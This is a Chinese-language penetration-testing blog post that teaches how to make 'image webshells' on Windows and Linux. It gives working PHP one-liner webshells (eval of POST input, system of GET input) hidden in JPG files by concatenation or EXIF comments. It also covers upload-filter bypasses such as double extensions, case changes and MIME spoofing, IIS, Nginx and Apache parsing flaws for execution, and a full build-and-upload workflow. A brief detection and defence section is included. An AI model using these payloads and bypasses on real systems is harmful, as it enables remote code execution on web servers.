2025-07-28
渗透测试
00
请注意,本文编写于 130 天前,最后修改于 130 天前,其中某些信息可能已经过时。

目录

Windows 和 Linux 下图片马制作
1️⃣ 基本原理
2️⃣ 常见图片格式及二进制文件头
3️⃣ 图片马制作方法
方法 1:直接拼接代码
方法 2:修改元数据
方法 3:编码/双后缀
4️⃣ Windows 下制作
(1) CMD 拼接
(2) 添加元数据
5️⃣ Linux 下制作
(1) cat 拼接
(2) echo 插入代码
(3) 修改 EXIF 元数据
6️⃣ 检测与绕过技巧
绕过方法
检测思路
7️⃣ 上传后执行
8️⃣ 风险与防御
✅ 示例:完整制作流程(Linux)

Windows 和 Linux 下图片马制作

1️⃣ 基本原理

图片马(Image Webshell)是一种将恶意代码(如 PHP、ASP、JSP 脚本)嵌入到图片文件中,以绕过上传检测和安全防护的技术。

  • 核心思路

    • 图片文件通过文件头(Magic Number)识别类型,上传系统通常只检测文件头或后缀名。
    • 将代码隐藏在图片尾部或元数据中,保留文件头不变,仍被识别为正常图片。
  • 常用场景

    • 绕过上传黑名单(仅允许 .jpg.png 文件)。
    • 绕过 MIME 类型检测、WAF 防火墙。
    • 与漏洞解析配合,实现代码执行。

2️⃣ 常见图片格式及二进制文件头

在制作图片马时必须保留原始图片头部数据,否则无法通过文件类型检测。

图片格式魔数 (Magic Number)十六进制表示特点
JPEG / JPGÿØÿàÿØÿÛFF D8 FF E0 / FF D8 FF DB最常用,短头部,适合插入代码
PNG.PNG89 50 4E 47 0D 0A 1A 0A8 字节头部,必须保留
GIF87aGIF87a47 49 46 38 37 61旧版 GIF
GIF89aGIF89a47 49 46 38 39 61常见 GIF
BMPBM42 4D位图文件
TIFF (Intel)II*49 49 2A 00小端序
TIFF (Motorola)MM*4D 4D 00 2A大端序
WEBPRIFF....WEBP52 49 46 46 xx xx xx xx 57 45 42 50RIFF 格式图片

注意:

  • 修改图片文件时务必保留文件头。
  • 恶意代码建议追加到文件尾部,以确保图片可正常显示。

3️⃣ 图片马制作方法

方法 1:直接拼接代码

  • 将正常图片和一句话木马合并,恶意代码放在尾部。
  • 上传时仍是有效图片。

方法 2:修改元数据

  • 利用 EXIF 信息字段(如作者、描述)写入 PHP 代码。
  • 需结合解析漏洞才能执行代码。

方法 3:编码/双后缀

  • 上传时使用 file.php.jpg、Base64 编码,绕过部分检测。

4️⃣ Windows 下制作

(1) CMD 拼接

cmd
copy /b normal.jpg + shell.php hacked.jpg
  • /b 二进制模式
  • normal.jpg 正常图片
  • shell.php 一句话木马
  • hacked.jpg 输出文件

(2) 添加元数据

  1. 安装 exiftool
  2. 写入代码:
cmd
exiftool -Comment="<?php @eval($_POST['cmd']);?>" normal.jpg

5️⃣ Linux 下制作

(1) cat 拼接

bash
cat normal.jpg shell.php > hacked.jpg

(2) echo 插入代码

bash
echo "<?php @eval(\$_POST['cmd']);?>" >> normal.jpg mv normal.jpg hacked.jpg

(3) 修改 EXIF 元数据

bash
exiftool -Comment="<?php system($_GET['cmd']);?>" normal.jpg

6️⃣ 检测与绕过技巧

绕过方法

  • 双重后缀:hacked.php.jpg
  • 大小写绕过:hacked.PhP
  • 内容混淆:加入注释、空格、编码(Base64)
  • MIME 欺骗:上传请求头伪装 Content-Type: image/jpeg

检测思路

  • 查看文件尾部是否有脚本:
bash
tail hacked.jpg
  • 扫描可疑 PHP 代码:
bash
strings hacked.jpg | grep "<?php"
  • 使用 file hacked.jpg 检查真实类型
  • 使用安全库或防火墙检测文件内容

7️⃣ 上传后执行

上传成功后,要结合服务器解析漏洞执行代码:

  • IIS + PHPfile.php.jpg 可能被解析为 PHP
  • Nginx 配置错误xxx.jpg/1.php 触发执行
  • Apache 多后缀解析:同样可能执行

8️⃣ 风险与防御

  • 风险:图片马一旦执行,可直接成为 webshell,危害极大。

  • 防御措施

    • 严格校验上传后缀和文件头
    • 上传后重新压缩图片(清除恶意代码)
    • 检查文件内容中是否包含脚本标签
    • 关闭多后缀解析漏洞

✅ 示例:完整制作流程(Linux)

bash
# 1. 准备文件 cp test.jpg normal.jpg echo "<?php @eval(\$_POST['cmd']);?>" > shell.php # 2. 合并图片和木马 cat normal.jpg shell.php > hacked.jpg # 3. 检查文件尾部 tail hacked.jpg strings hacked.jpg | grep "<?php" # 4. 上传并访问 curl -F "file=@hacked.jpg" http://target/upload

本文作者:晏秋

本文链接:

版权声明:本博客所有文章除特别声明外,均采用 BY-NC-SA 许可协议。转载请注明出处!